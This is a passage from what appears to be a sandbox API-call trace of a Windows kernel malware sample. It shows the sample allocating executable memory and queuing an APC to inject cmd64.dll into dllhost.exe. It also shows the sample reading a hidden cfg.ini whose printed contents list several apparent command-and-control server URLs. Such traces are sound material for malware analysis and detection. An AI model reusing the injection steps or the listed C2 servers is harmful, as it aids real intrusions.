Event=0xfffff88002f9d1f0) [0096.593] IdePortDispatch () returned 0x103 [0096.593] KeWaitForMutexObject () returned 0x0 [0096.593] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0096.593] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa80038a5e40 [0096.593] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5e40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5e40) [0096.593] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0096.593] IdePortDispatch () returned 0x103 [0096.594] KeWaitForMutexObject () returned 0x0 [0096.594] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0096.594] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa80038a5e40 [0096.594] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5e40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5e40) [0096.594] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0096.594] IdePortDispatch () returned 0x103 [0096.594] KeWaitForMutexObject () returned 0x0 [0096.594] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0096.594] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa80038a5e40 [0096.594] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5e40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5e40) [0096.594] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0096.594] IdePortDispatch () returned 0x103 [0096.594] KeWaitForMutexObject () returned 0x0 [0096.596] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0096.596] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa80038a5e40 [0096.596] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5e40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5e40) [0096.596] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0096.596] IdePortDispatch () returned 0x103 [0096.597] KeWaitForMutexObject () returned 0x0 [0096.597] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0096.597] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa80038a5e40 [0096.597] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5e40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5e40) [0096.597] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0096.597] IdePortDispatch () returned 0x103 [0096.597] KeWaitForMutexObject () returned 0x0 [0096.597] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0096.597] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa80038a5e40 [0096.597] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5e40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5e40) [0096.597] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0096.597] IdePortDispatch () returned 0x103 [0096.598] KeWaitForMutexObject () returned 0x0 [0096.598] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0096.598] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa80038a5e40 [0096.598] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5e40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5e40) [0096.598] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0096.598] IdePortDispatch () returned 0x103 [0096.598] KeWaitForMutexObject () returned 0x0 [0096.598] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0096.598] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa80038a5e40 [0096.598] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5e40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5e40) [0096.598] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0096.598] IdePortDispatch () returned 0x103 [0096.598] KeWaitForMutexObject () returned 0x0 [0096.598] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0096.598] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa80038a5e40 [0096.598] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5e40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5e40) [0096.599] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0096.599] IdePortDispatch () returned 0x103 [0096.599] KeWaitForMutexObject () returned 0x0 [0096.599] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0096.599] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa80038a5e40 [0096.599] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5e40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5e40) [0096.599] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0096.599] IdePortDispatch () returned 0x103 [0096.599] KeWaitForMutexObject () returned 0x0 [0096.599] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0096.599] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa80038a5e40 [0096.599] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5e40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5e40) [0096.599] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0096.599] IdePortDispatch () returned 0x103 [0096.600] KeWaitForMutexObject () returned 0x0 [0096.600] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0096.600] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa80038a5e40 [0096.600] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5e40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5e40) [0096.600] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0096.600] IdePortDispatch () returned 0x103 [0096.600] KeWaitForMutexObject () returned 0x0 [0096.600] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0096.600] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa80038a5e40 [0096.600] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5e40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5e40) [0096.600] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0096.600] IdePortDispatch () returned 0x103 [0096.600] KeWaitForMutexObject () returned 0x0 [0096.601] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0096.601] KeLeaveCriticalRegion () [0096.601] IofCompleteRequest (Irp=0xfffffa800389fd60, PriorityBoost=0) [0096.601] ZwAllocateVirtualMemory (in: ProcessHandle=0xffffffff800004f8, BaseAddress=0xfffff88002f9dae0, ZeroBits=0x0, RegionSize=0xfffff88002f9d9f0, AllocationType=0x3000, Protect=0x40 | out: BaseAddress=0xfffff88002f9dae0*=0x10000, RegionSize=0xfffff88002f9d9f0*=0x14000) returned 0x0 [0096.601] RtlImageNtHeader (BaseAddress=0x10000) returned 0x10040 [0096.601] RtlImageDirectoryEntryToData (in: BaseAddress=0x10000, MappedAsImage=1, Directory=0x5, Size=0xfffff88002f9dad8 | out: Size=0xfffff88002f9dad8) returned 0x0 [0096.601] ZwAllocateVirtualMemory (in: ProcessHandle=0xffffffff800004f8, BaseAddress=0xfffff88002f9dae8, ZeroBits=0x0, RegionSize=0xfffff88002f9d9f8, AllocationType=0x3000, Protect=0x40 | out: BaseAddress=0xfffff88002f9dae8*=0x40000, RegionSize=0xfffff88002f9d9f8*=0x1000) returned 0x0 [0096.601] _snprintf (in: _Dest=0x40020, _Count=0x103, _Format="\\\\?\\globalroot%S" | out: _Dest="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cmd64.dll") returned 49 [0096.601] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x58) returned 0xfffffa8003655d90 [0096.601] KeInitializeApc (Apc=0xfffffa8003655d90, Thread=0xfffffa800381b980, TargetEnvironment=0x0, KernelRoutine=0xfffffa80027ca950, RundownRoutine=0x0, NormalRoutine=0x40128, Mode=0xfffff88000000001, Context=0x40000) [0096.601] KeInsertQueueApc (Apc=0xfffffa8003655d90, SystemArgument1=0x0, SystemArgument2=0x0, PriorityBoost=0x0) returned 1 [0096.601] ZwUnmapViewOfSection (ProcessHandle=0xffffffffffffffff, BaseAddress=0x7fffffa0000) returned 0x0 [0096.601] ZwClose (Handle=0x14) returned 0x0 [0096.601] ZwClose (Handle=0xffffffff800004f0) returned 0x0 [0096.602] _snprintf (in: _Dest=0xfffff88002f9d450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cmd64.dll") returned 18 [0096.602] KeEnterCriticalRegion () [0096.602] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0096.602] IoGetRequestorProcess (Irp=0xfffffa800389fd60) returned 0xfffffa80018ab040 [0096.602] FsRtlFastUnlockAll (FileLock=0xfffffa80027db068, FileObject=0xfffffa80038bfc20, ProcessId=0xfffffa80018ab040, Context=0x0) returned 0xc000007e [0096.602] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0096.602] KeLeaveCriticalRegion () [0096.602] IofCompleteRequest (Irp=0xfffffa800389fd60, PriorityBoost=0) [0096.602] KeUnstackDetachProcess (ApcState=0xfffff88002f9da58) [0096.602] PsGetProcessImageFileName () returned 0xfffffa800cffe340 [0096.602] _snprintf (in: _Dest=0xfffffa80038b9378, _Count=0x103, _Format="%s (x64)" | out: _Dest="dllhost.exe (x64)") returned 17 [0096.602] RtlInitUnicodeString (in: DestinationString=0xfffff88002f9d7b0, SourceString="\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: DestinationString="\\device\\000001a9\\0d24eb7c\\cfg.ini") [0096.602] ZwCreateFile (in: FileHandle=0xfffff88002f9db18, DesiredAccess=0x100003, ObjectAttributes=0xfffff88002f9d7d8*(Length=0x30, RootDirectory=0x0, ObjectName="\\device\\000001a9\\0d24eb7c\\cfg.ini" (normalized: "\\device\\000001a9\\0d24eb7c\\cfg.ini"), Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0xfffff88002f9d7a0, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x1, CreateDisposition=0x3, CreateOptions=0x22, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0xfffff88002f9db18*=0xffffffff800004f0, IoStatusBlock=0xfffff88002f9d7a0) returned 0x0 [0096.602] _snprintf (in: _Dest=0xfffff88002f9cf10, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0096.602] KeEnterCriticalRegion () [0096.602] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0096.602] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0096.602] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa80038a5e40 [0096.602] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5e40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5e40) [0096.602] KeInitializeEvent (in: Event=0xfffff88002f9cd80, Type=0x0, State=0 | out: Event=0xfffff88002f9cd80) [0096.602] IdePortDispatch () returned 0x103 [0096.602] KeWaitForMutexObject () returned 0x0 [0096.602] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0096.602] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0096.603] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0096.603] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0096.603] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0096.603] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80036580a0 [0096.603] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0096.603] KeLeaveCriticalRegion () [0096.603] IofCompleteRequest (Irp=0xfffffa800389fd60, PriorityBoost=0) [0096.603] ZwAllocateVirtualMemory (in: ProcessHandle=0xffffffffffffffff, BaseAddress=0xfffff88002f9d880, ZeroBits=0x0, RegionSize=0xfffff88002f9d888, AllocationType=0x3000, Protect=0x4 | out: BaseAddress=0xfffff88002f9d880*=0x90000, RegionSize=0xfffff88002f9d888*=0x1000) returned 0x0 [0096.603] NtLockFile (in: FileHandle=0xffffffff800004f0, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, IoStatusBlock=0x90000, ByteOffset=0x90010, Length=0x90018, Key=0x0, FailImmediatedly=0, ExclusiveLock=1 | out: IoStatusBlock=0x90000) returned 0x0 [0096.603] _snprintf (in: _Dest=0xfffff88002f9d450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0096.603] KeEnterCriticalRegion () [0096.603] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0096.603] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa800389fd60, Context=0x0) returned 0x0 [0096.603] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0096.603] KeLeaveCriticalRegion () [0096.603] ZwQueryInformationFile (in: FileHandle=0xffffffff800004f0, IoStatusBlock=0xfffff88002f9d7a0, FileInformation=0xfffff88002f9d7c0, Length=0x18, FileInformationClass=0x5 | out: IoStatusBlock=0xfffff88002f9d7a0, FileInformation=0xfffff88002f9d7c0) returned 0x0 [0096.603] _snprintf (in: _Dest=0xfffff88002f9d250, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0096.603] KeEnterCriticalRegion () [0096.603] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0096.603] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0096.603] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa80038a5e40 [0096.603] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5e40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5e40) [0096.603] KeInitializeEvent (in: Event=0xfffff88002f9d0e0, Type=0x0, State=0 | out: Event=0xfffff88002f9d0e0) [0096.603] IdePortDispatch () returned 0x103 [0096.604] KeWaitForMutexObject () returned 0x0 [0096.604] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0096.604] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0096.604] KeLeaveCriticalRegion () [0096.604] IofCompleteRequest (Irp=0xfffffa800389fd60, PriorityBoost=0) [0096.604] FsRtlAllocatePool (PoolType=0x1, NumberOfBytes=0x1b5) returned 0xfffff8a0015bfe40 [0096.604] _snprintf (in: _Dest=0xfffff88002f9d9d0, _Count=0x104, _Format="[%s]\r\n" | out: _Dest="[inject]\r\n") returned 10 [0096.604] _strlwr (in: _Str="[inject]\r\n" | out: _Str="[inject]\r\n") returned="[inject]\r\n" [0096.604] _snprintf (in: _Dest=0xfffff88002f9d8c0, _Count=0x104, _Format="%s=" | out: _Dest="dllhost.exe (x64)=") returned 18 [0096.604] _strlwr (in: _Str="dllhost.exe (x64)=" | out: _Str="dllhost.exe (x64)=") returned="dllhost.exe (x64)=" [0096.604] ZwReadFile (in: FileHandle=0xffffffff800004f0, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0xfffff88002f9d7a0, Buffer=0xfffff8a0015bfe40, BufferLength=0x1b4, ByteOffset=0x0, Key=0x0 | out: IoStatusBlock=0xfffff88002f9d7a0, Buffer=0xfffff8a0015bfe40*) returned 0x0 [0096.604] _snprintf (in: _Dest=0xfffff88002f9d230, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0096.604] KeEnterCriticalRegion () [0096.604] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0096.604] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa80038a5e40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000bd7e40 [0096.604] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0096.604] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa80038a5010 [0096.604] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0096.604] KeInitializeEvent (in: Event=0xfffff88002f9d090, Type=0x0, State=0 | out: Event=0xfffff88002f9d090) [0096.604] IdePortDispatch () returned 0x103 [0096.604] KeWaitForMutexObject () returned 0x0 [0096.604] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0096.604] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0096.604] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa80038a5010 [0096.604] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0096.604] KeInitializeEvent (in: Event=0xfffff88002f9d090, Type=0x0, State=0 | out: Event=0xfffff88002f9d090) [0096.605] IdePortDispatch () returned 0x103 [0096.605] KeWaitForMutexObject () returned 0x0 [0096.605] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0096.605] KeLeaveCriticalRegion () [0096.605] IofCompleteRequest (Irp=0xfffffa800389fd60, PriorityBoost=0) [0096.605] strstr (_Str="[main]\r\nversion=0.03\r\naid=66671\r\nsid=0\r\nbuilddate=351\r\ninstalldate=6.12.2016 9:36:14\r\nrnd=2040373303\r\n[inject]\r\n*=cmd.dll\r\n* (x64)=cmd64.dll\r\n[cmd]\r\nsrv=https://lo4undreyk.com/;https://sh01cilewk.com/;https://cap01tchaa.com/;https://kur1k0nona.com/;https://u101mnay2k.com/\r\nwsrv=http://gnarenyawr.com/;http://rinderwayr.com/;http://jukdoout0.com/;http://swltcho0.com/;http://ranmjyuke.com/\r\npsrv=http://crj71ki813ck.com/\r\nversion=0.31\r\n", _SubStr="[inject]\r\n") returned="[inject]\r\n*=cmd.dll\r\n* (x64)=cmd64.dll\r\n[cmd]\r\nsrv=https://lo4undreyk.com/;https://sh01cilewk.com/;https://cap01tchaa.com/;https://kur1k0nona.com/;https://u101mnay2k.com/\r\nwsrv=http://gnarenyawr.com/;http://rinderwayr.com/;http://jukdoout0.com/;http://swltcho0.com/;http://ranmjyuke.com/\r\npsrv=http://crj71ki813ck.com/\r\nversion=0.31\r\n" [0096.605] strstr (_Str="*=cmd.dll\r\n* (x64)=cmd64.dll\r\n", _SubStr="dllhost.exe (x64)=") returned 0x0 [0096.605] ZwFreeVirtualMemory (ProcessHandle=0xffffffffffffffff, BaseAddress=0xfffff88002f9d880*=0x90000, RegionSize=0xfffff88002f9d888, FreeType=0x8000) returned 0x0 [0096.605] ExFreePoolWithTag (P=0xfffff8a0015bfe40, Tag=0x0) [0096.605] ZwClose (Handle=0xffffffff800004f0) returned 0x0 [0096.605] _snprintf (in: _Dest=0xfffff88002f9d310, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0096.605] KeEnterCriticalRegion () [0096.605] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0096.605] IoGetRequestorProcess (Irp=0xfffffa800389fd60) returned 0xfffffa80018ab040 [0096.605] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80038c0b30, ProcessId=0xfffffa80018ab040, Context=0x0) returned 0x0 [0096.605] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0096.605] KeLeaveCriticalRegion () [0096.605] IofCompleteRequest (Irp=0xfffffa800389fd60, PriorityBoost=0) [0096.605] _snprintf (in: _Dest=0xfffff88002f9d330, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0096.605] KeEnterCriticalRegion () [0096.605] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0096.605] ExFreePoolWithTag (P=0xfffffa80036580a0, Tag=0x0) [0096.605] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0096.606] KeLeaveCriticalRegion () [0096.606] IofCompleteRequest (Irp=0xfffffa800389fd60, PriorityBoost=0) [0096.606] ZwClose (Handle=0xffffffff800004f8) returned 0x0 [0096.606] KeSetEvent (in: Event=0xfffffa80038b9050, Increment=0x0, Wait=0 | out: Event=0xfffffa80038b9050) returned 0 [0104.964] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\SystemRoot\\System32\\drivers\\tcpipreg.sys", IgnoreCase=1, UpcaseTable=0x0) returned 0 Thread: id = 16 os_tid = 0x64 Thread: id = 17 os_tid = 0x34 [0070.181] ZwOpenProcess (in: ProcessHandle=0xfffff88002f8fb70, DesiredAccess=0x1fffff, ObjectAttributes=0xfffff88002f8fb30*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x200, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xfffff88002f8fb20*(UniqueProcess=0x144, UniqueThread=0x0) | out: ProcessHandle=0xfffff88002f8fb70*=0xffffffff800001dc) returned 0x0 [0070.181] RtlInitUnicodeString (in: DestinationString=0xfffff88002f8f7b0, SourceString="\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: DestinationString="\\device\\000001a9\\0d24eb7c\\cfg.ini") [0070.181] ZwCreateFile (in: FileHandle=0xfffff88002f8fb18, DesiredAccess=0x100003, ObjectAttributes=0xfffff88002f8f7d8*(Length=0x30, RootDirectory=0x0, ObjectName="\\device\\000001a9\\0d24eb7c\\cfg.ini" (normalized: "\\device\\000001a9\\0d24eb7c\\cfg.ini"), Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0xfffff88002f8f7a0, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x1, CreateDisposition=0x3, CreateOptions=0x22, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0xfffff88002f8fb18*=0xffffffff800001d8, IoStatusBlock=0xfffff88002f8f7a0) returned 0x0 [0070.182] _snprintf (in: _Dest=0xfffff88002f8ef10, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0070.182] KeEnterCriticalRegion () [0070.182] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0070.182] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80034197c0 [0070.182] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80034197c0 | out: Irp=0xfffffa80034197c0) returned 0xfffffa80034c83a0 [0070.182] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80034c83a0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80034c83a0) [0070.182] KeInitializeEvent (in: Event=0xfffff88002f8ed80, Type=0x0, State=0 | out: Event=0xfffff88002f8ed80) [0070.182] IdePortDispatch () returned 0x103 [0070.182] KeWaitForMutexObject () returned 0x0 [0070.182] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0070.182] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0070.182] strncpy (in: _Dest=0xfffffa80027dafe0, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0070.182] FsRtlInitializeFileLock (FileLock=0xfffffa80027daff0, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0070.182] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa800351a160 [0070.182] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0070.182] KeLeaveCriticalRegion () [0070.182] IofCompleteRequest (Irp=0xfffffa80021e92b0, PriorityBoost=0) [0070.182] ZwAllocateVirtualMemory (in: ProcessHandle=0xffffffffffffffff, BaseAddress=0xfffff88002f8f880, ZeroBits=0x0, RegionSize=0xfffff88002f8f888, AllocationType=0x3000, Protect=0x4 | out: BaseAddress=0xfffff88002f8f880*=0x80000, RegionSize=0xfffff88002f8f888*=0x1000) returned 0x0 [0070.182] NtLockFile (in: FileHandle=0xffffffff800001d8, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, IoStatusBlock=0x80000, ByteOffset=0x80010, Length=0x80018, Key=0x0, FailImmediatedly=0, ExclusiveLock=1 | out: IoStatusBlock=0x80000) 